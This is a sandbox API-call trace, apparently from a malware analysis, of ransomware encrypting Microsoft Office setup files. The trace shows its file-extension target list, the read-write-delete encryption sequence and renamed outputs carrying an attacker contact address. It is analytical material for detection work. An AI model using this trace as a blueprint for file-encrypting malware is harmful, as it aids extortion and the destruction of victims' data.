	[0045.115] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.115] lstrlenW (lpString=".bz2") returned 4
	[0045.115] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.115] lstrlenW (lpString=".7z") returned 3
	[0045.115] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.115] lstrlenW (lpString=".dbf") returned 4
	[0045.115] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.115] lstrlenW (lpString=".1cd") returned 4
	[0045.115] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.115] lstrlenW (lpString=".jpg") returned 4
	[0045.115] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.115] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0045.115] lstrlenW (lpString="SETUP.CHM") returned 9
	[0045.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.116] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=67190) returned 1
	[0045.116] CloseHandle (hObject=0x1ec) returned 1
	[0045.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20
	[0045.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.117] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.117] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0045.117] GetLastError () returned 0x0
	[0045.117] ReadFile (in: hFile=0x1ec, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x10676, lpOverlapped=0x0) returned 1
	[0045.120] WriteFile (in: hFile=0x1f4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x10680, lpOverlapped=0x0) returned 1
	[0045.122] ReadFile (in: hFile=0x1ec, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.122] WriteFile (in: hFile=0x1f4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0045.122] SetEndOfFile (hFile=0x1f4) returned 1
	[0045.122] CloseHandle (hObject=0x1f4) returned 1
	[0045.123] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.123] SetEndOfFile (hFile=0x1ec) returned 1
	[0045.124] CloseHandle (hObject=0x1ec) returned 1
	[0045.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1
	[0045.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.125] lstrlenW (lpString=".doc") returned 4
	[0045.125] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.125] lstrlenW (lpString=".docx") returned 5
	[0045.125] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1
	[0045.125] lstrlenW (lpString=".pdf") returned 4
	[0045.125] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.125] lstrlenW (lpString=".xls") returned 4
	[0045.125] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.125] lstrlenW (lpString=".xlsx") returned 5
	[0045.125] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1
	[0045.125] lstrlenW (lpString=".ppt") returned 4
	[0045.125] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.125] lstrlenW (lpString=".zip") returned 4
	[0045.125] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.125] lstrlenW (lpString=".rar") returned 4
	[0045.125] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString=".bz2") returned 4
	[0045.126] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.126] lstrlenW (lpString=".7z") returned 3
	[0045.126] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.126] lstrlenW (lpString=".dbf") returned 4
	[0045.126] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.126] lstrlenW (lpString=".1cd") returned 4
	[0045.126] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.126] lstrlenW (lpString=".jpg") returned 4
	[0045.126] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.126] lstrlenW (lpString=".doc") returned 4
	[0045.126] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString=".docx") returned 5
	[0045.126] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1
	[0045.126] lstrlenW (lpString=".pdf") returned 4
	[0045.126] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString=".xls") returned 4
	[0045.126] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString=".xlsx") returned 5
	[0045.126] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1
	[0045.126] lstrlenW (lpString=".ppt") returned 4
	[0045.126] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.126] lstrlenW (lpString=".zip") returned 4
	[0045.126] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.127] lstrlenW (lpString=".rar") returned 4
	[0045.127] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.127] lstrlenW (lpString=".bz2") returned 4
	[0045.127] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.127] lstrlenW (lpString=".7z") returned 3
	[0045.127] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.127] lstrlenW (lpString=".dbf") returned 4
	[0045.127] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.127] lstrlenW (lpString=".1cd") returned 4
	[0045.127] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0045.127] lstrlenW (lpString=".jpg") returned 4
	[0045.127] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.127] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.127] lstrlenW (lpString="SETUP.XML") returned 9
	[0045.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.127] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9352) returned 1
	[0045.128] CloseHandle (hObject=0x1ec) returned 1
	[0045.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20
	[0045.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.128] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.128] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0045.128] GetLastError () returned 0x0
	[0045.128] ReadFile (in: hFile=0x1ec, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x2488, lpOverlapped=0x0) returned 1
	[0045.130] WriteFile (in: hFile=0x1f4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2490, lpOverlapped=0x0) returned 1
	[0045.131] ReadFile (in: hFile=0x1ec, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.131] WriteFile (in: hFile=0x1f4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0045.131] SetEndOfFile (hFile=0x1f4) returned 1
	[0045.131] CloseHandle (hObject=0x1f4) returned 1
	[0045.132] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.133] SetEndOfFile (hFile=0x1ec) returned 1
	[0045.133] CloseHandle (hObject=0x1ec) returned 1
	[0045.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.134] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1
	[0045.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.134] lstrlenW (lpString=".doc") returned 4
	[0045.134] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.134] lstrlenW (lpString=".docx") returned 5
	[0045.134] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0045.134] lstrlenW (lpString=".pdf") returned 4
	[0045.134] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.134] lstrlenW (lpString=".xls") returned 4
	[0045.134] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.134] lstrlenW (lpString=".xlsx") returned 5
	[0045.134] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0045.134] lstrlenW (lpString=".ppt") returned 4
	[0045.134] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.134] lstrlenW (lpString=".zip") returned 4
	[0045.134] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.134] lstrlenW (lpString=".rar") returned 4
	[0045.134] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.134] lstrlenW (lpString=".bz2") returned 4
	[0045.135] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString=".7z") returned 3
	[0045.135] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.135] lstrlenW (lpString=".dbf") returned 4
	[0045.135] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.135] lstrlenW (lpString=".1cd") returned 4
	[0045.135] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.135] lstrlenW (lpString=".jpg") returned 4
	[0045.135] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.135] lstrlenW (lpString=".doc") returned 4
	[0045.135] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString=".docx") returned 5
	[0045.135] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0045.135] lstrlenW (lpString=".pdf") returned 4
	[0045.135] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString=".xls") returned 4
	[0045.135] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString=".xlsx") returned 5
	[0045.135] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0045.135] lstrlenW (lpString=".ppt") returned 4
	[0045.135] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.135] lstrlenW (lpString=".zip") returned 4
	[0045.135] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.135] lstrlenW (lpString=".rar") returned 4
	[0045.136] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.136] lstrlenW (lpString=".bz2") returned 4
	[0045.136] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.136] lstrlenW (lpString=".7z") returned 3
	[0045.136] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.136] lstrlenW (lpString=".dbf") returned 4
	[0045.136] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.136] lstrlenW (lpString=".1cd") returned 4
	[0045.136] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0045.136] lstrlenW (lpString=".jpg") returned 4
	[0045.136] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.136] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.136] lstrlenW (lpString="Office32MUI.XML") returned 15
	[0045.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.723] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1383) returned 1
	[0045.723] CloseHandle (hObject=0x1e8) returned 1
	[0045.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20
	[0045.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.724] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.724] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.322] GetLastError () returned 0x0
	[0046.322] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x567, lpOverlapped=0x0) returned 1
	[0046.323] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0046.324] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.324] WriteFile (in: hFile=0x1bc, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0046.324] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.324] CloseHandle (hObject=0x1bc) returned 1
	[0046.324] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.324] SetEndOfFile (hFile=0x1e8) returned 1
	[0046.328] CloseHandle (hObject=0x1e8) returned 1
	[0046.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1
	[0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.328] lstrlenW (lpString=".doc") returned 4
	[0046.328] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.328] lstrlenW (lpString=".docx") returned 5
	[0046.328] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.328] lstrlenW (lpString=".pdf") returned 4
	[0046.328] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.328] lstrlenW (lpString=".xls") returned 4
	[0046.328] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.328] lstrlenW (lpString=".xlsx") returned 5
	[0046.328] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.329] lstrlenW (lpString=".ppt") returned 4
	[0046.329] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.329] lstrlenW (lpString=".zip") returned 4
	[0046.329] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.329] lstrlenW (lpString=".rar") returned 4
	[0046.329] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString=".bz2") returned 4
	[0046.329] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.329] lstrlenW (lpString=".7z") returned 3
	[0046.329] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0046.329] lstrlenW (lpString=".dbf") returned 4
	[0046.329] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
